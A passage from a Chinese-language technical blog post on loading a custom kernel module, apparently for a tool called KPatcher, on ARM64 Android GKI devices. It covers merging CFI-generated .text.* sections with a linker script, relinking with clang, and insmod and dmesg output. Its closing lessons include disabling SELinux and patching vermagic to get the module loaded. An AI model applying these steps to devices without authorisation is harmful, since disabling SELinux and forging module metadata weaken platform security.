0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mrdump</span></code><p><span leaf=""> 自己的 Oops 处理函数被调用，试图保存崩溃信息到存储。</span></p></li><li><p><span leaf="">保存操作耗时很长，可能持续数分钟。</span></p></li><li><p><span leaf="">在此期间，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_mutex</span></code><span leaf=""> 一直被持有。</span></p></li><li><p><span leaf="">任何其他需要该锁的代码路径全部阻塞，表现为系统完全无响应。</span></p></li></ol><p data-line="1290" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这不同于 kernel panic。</span></p><p data-line="1292" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">BUG()</span></code><span leaf=""> 会让 CPU 停摆，而这里更像是一次 Oops —— 内核最终还能继续运行，所以手机在数分钟后得以恢复。</span></p><p data-line="1294" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">必须将所有 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text.*</span></code><span leaf=""> 子段合并回标准的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text</span></code><span leaf=""> 段。</span></p><p data-line="1296" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">使用 linker script 在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">clang -r</span></code><span leaf=""> 阶段完成合并：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1276" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">/* merge_text.lds */</span><span leaf=""><br/></span><span leaf="">SECTIONS</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">  .text           : { *(.text) *(.text.*) }</span><span leaf=""><br/></span><span leaf="">  .init.text      : { *(.init.text) }</span><span leaf=""><br/></span><span leaf="">  .exit.text      : { *(.exit.text) }</span><span leaf=""><br/></span><span leaf="">  .rodata         : { *(.rodata*) }</span><span leaf=""><br/></span><span leaf="">  .data           : { *(.data*) }</span><span leaf=""><br/></span><span leaf="">  .bss            : { *(.bss*) }</span><span leaf=""><br/></span><span leaf="">  .rela.text      : { *(.rela.text) *(.rela.text.*) }</span><span leaf=""><br/></span><span leaf="">  .gnu.linkonce.this_module : { *(.gnu.linkonce.this_module) }</span><span leaf=""><br/></span><span leaf="">  .init.plt       : { *(.init.plt) }</span><span leaf=""><br/></span><span leaf="">  /* ... 其余辅助段 ... */</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="1318" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">重新链接：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1298" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">clang -r -target aarch64-linux-gnu \</span><span leaf=""><br/></span><span leaf="">  -Wl,-T,merge_text.lds \</span><span leaf=""><br/></span><span leaf="">  test.o -o test_merged.o</span></code></pre><p data-line="1326" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">得到的模块 section 布局恢复标准：</span></p><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">Section</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">内容</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">所有代码，包括 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__cfi_check</span></code><span leaf="">、CFI 桩、init、cleanup</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rodata</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">只读数据</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.gnu.linkonce.this_module</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">struct module</span></code></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.modinfo</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">模块元信息</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">……</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">……</span></code></td></tr></tbody></table><p data-line="1336" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">再次加载：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1316" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">$ insmod /data/local/tmp/test_cfi_fixed.ko</span><span leaf=""><br/></span><span leaf="">INSMOD_SUCCESS</span></code></pre><p data-line="1343" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">秒级返回，无卡死。</span></p><p data-line="1345" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">查看日志：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1325" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">$ dmesg | grep test_cfi</span></code></pre><p data-line="1351" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">输出：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1331" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">test_cfi: no symbol version for printk</span><span leaf=""><br/></span><span leaf="">calling  init_module+0x0/0x8 [test_cfi] @ 5515</span><span leaf=""><br/></span><span leaf="">HelloWorld: KPatcher ARM64 module loaded!</span><span leaf=""><br/></span><span leaf="">initcall init_module+0x0/0x8 [test_cfi] returned 0 after 6 usecs</span></code></pre><p data-line="1360" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">无 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mrdump</span></code><span leaf=""> 崩溃，无 Oops，一切正常。</span></p><h3 data-line="1362" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">GKI适配经验总结</span></h3><p data-line="1364" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过上面的排查，格式正确的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.ko</span></code><span leaf="">已经可以在 ARM64 安卓GKI设备上正常加载和卸载。</span></p><p data-line="1366" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">总结一下这 7 个坑带来的核心教训：</span></p><p data-line="1368" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">SELinux 会拦截 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">insmod</span></code><span leaf="">，并返回极具误导性的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">File exists</span></code><span leaf="">。必须关闭 SELinux 或使用豁免路径。</span></p><p data-line="1370" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Vermagic 必须精确匹配。修补时还要注意工具本身是否更新到位。</span></p><p data-line="1372" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">BTI 强制要求间接跳转目标为 BTI 着陆指令。启用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-mbranch-protection=standard</span></code><span leaf=""> 即可。</span></p><p data-line="1374" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">PAC 强制要求返回地址签名验证。它与 BTI 共享同一编译标志。</span></p><p data-line="1376" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">CFI 是核心挑战。Makefile 声明 kCFI，但 GKI 预编译模块实际使用 CFI_ICALL。应以参考模块的二进制特征为准。</span></p><p data-line="1378" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">CFI_ICALL 会产生非标准 ELF section 名。典型表现是空的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text</span></code><span leaf="">，代码散落在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text.*</span></code><span leaf=""> 中，这会导致厂商驱动在遍历 section 时空指针崩溃。</span></p><p data-line="1380" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">用Linker Script合并section名，才能同时兼容内核和第三方驱动的预期。</span></p><p data-line="1382" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: 